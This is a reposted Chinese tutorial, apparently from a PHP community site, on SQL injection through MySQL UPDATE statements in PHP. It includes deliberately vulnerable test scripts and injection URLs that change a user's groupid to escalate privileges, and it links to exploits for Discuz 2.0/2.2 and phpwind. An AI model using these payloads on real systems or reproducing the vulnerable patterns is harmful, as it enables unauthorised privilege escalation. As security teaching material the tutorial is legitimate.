热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

UPDATE注射(mysqlphp)的两个模式

脚本里只是修正user=’heige’的pass,假如groudid表现用户的权限等级,我们的目标就是通过结构$p来达

一.测试环境: 

  OS: Windowsxp sp2 

  php: php 4.3.10 ( 

  mysql 4.1.9 

  apache 1.3.33  

  二.测试数据库结构:

-----start--- 

-- 数据库: `test` 

--  

-- -------------------------------------------------------- 

--  

-- 表的结构 `userinfo` 

--  

CREATE TABLE `userinfo` ( 

`groudid` varchar(12) NOT NULL default ’1’, 

`user` varchar(12) NOT NULL default ’heige’, 

`pass` varchar(122) NOT NULL default ’123456’ 

) ENGINE=MyISAM DEFAULT CHARSET=latin1; 

--  

-- 导出表中的数据 `userinfo` 

--  

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’); 

------end-------

三.测试模式:

  1,变量没有带’’或''[MOD1] 

//test1.php Mod1 

$servername = 'localhost'; 

$dbusername = 'root'; 

$dbpassword = ''; 

$dbname = 'test'; 

mysql_connect($servername,$dbusername,$dbpassword) or die ('数据库连接失败'); 

$sql = 'update userinfo set pass=$p where user=’heige’';//<--$P没有应用单引号 

$result = mysql_db_query($dbname, $sql); 

$userinfo = mysql_fetch_array($result); 

echo '

SQL Query:$sql

'; ?>



  脚本里只是修正user=’heige’的pass,假如groudid表现用户的权限等级,我们的目标就是通过结构$p 来达 

  到修正groupid的目标: 

  那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 

  在mysql里查询: mysql> select * from userinfo; 

--------- ------- -------- 

| groudid | user  | pass   | 

--------- ------- -------- 

| 1       | heige | 123456 | 

--------- ------- -------- 

1 row in set (0.01 sec)

用户heige的groudid又2改为1了 :) 

  所以我们可以得到没有’’或'' update的注射是可以成功的,这个就是我们的模式1。 

  2,变量带’’或''[MOD2]


//test2.php 

$servername = 'localhost'; 

$dbusername = 'root'; 

$dbpassword = ''; 

$dbname = 'test'; 

mysql_connect($servername,$dbusername,$dbpassword) or die ('数据库连接失败'); 


$sql = 'update userinfo set pass=’$p’ where user=’heige’';//<--$P应用单引号 

$result = mysql_db_query($dbname, $sql); 

$userinfo = mysql_fetch_array($result); 

echo '

SQL Query:$sql

'; 

?>


  为了封闭’我们结构$p应当为123456’,groudid=’2 提交: 

  http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’ 

  提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’

mysql查询: mysql> select * from userinfo; 

--------- ------- -------------------- 

| groudid | user  | pass               | 

--------- ------- -------------------- 

| 2       | heige | 123456’,groudid=’1 | 

--------- ------- -------------------- 

1 row in set (0.00 sec) 

  groudid并没有被修正。那么在变量被’’或''时 就完整没有被注射呢?不是 下面我们看模式2: 
//test3.php Mod2 

$servername = 'localhost'; 

$dbusername = 'root'; 

$dbpassword = ''; 

$dbname = 'test'; 

mysql_connect($servername,$dbusername,$dbpassword) or die ('数据库连接失败'); 

$sql = 'update userinfo set pass=’$p’ where user=’heige’';//<--$P应用单引号 

$result = mysql_db_query($dbname, $sql); 

mysql_fetch_array($result);    //$p的数据写进数据库 

$sql= 'select pass from userinfo where user=’heige’';  

$result = mysql_db_query($dbname, $sql); 

$userinfo=mysql_fetch_array($result);  

echo $userinfo[0];  //把pass查询输出给$userinfo[0] 

$sql ='update userinfo set pass=’$userinfo[0]’ where user=’heige’'; 

$result = mysql_db_query($dbname, $sql); 

mysql_fetch_array($result); //把$userinfo[0] 再次update 

?>

我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1 

  回mysql查询下 : mysql> select * from userinfo; 

--------- ------- -------- 

| groudid | user  | pass   | 

--------- ------- -------- 

| 1       | heige | 123456 | 

--------- ------- -------- 



1 row in set (0.00 sec)

  HaHa~~ 成功注射 修正groudid为1。 这个就是我们的模式2了,简略的描叙如下: 

  update-->select-->update 

  四.实际模式 

  模式1:Discuz 2.0/2.2 register.php 注射  

  漏洞分析:http://4ngel.net/article/41.htm 

  Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm 

  模式2:phpwind 2.0.2和3.31e 权限晋升漏洞 


       漏洞分析: 

update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’) 





select (jop.php) 





updtate (jop.php) 



Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe  

  五.叫谢 

  特别感谢saiy等朋友的讨论和帮助。Thanks!!! 



推荐阅读
author-avatar
Aries小阳光
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有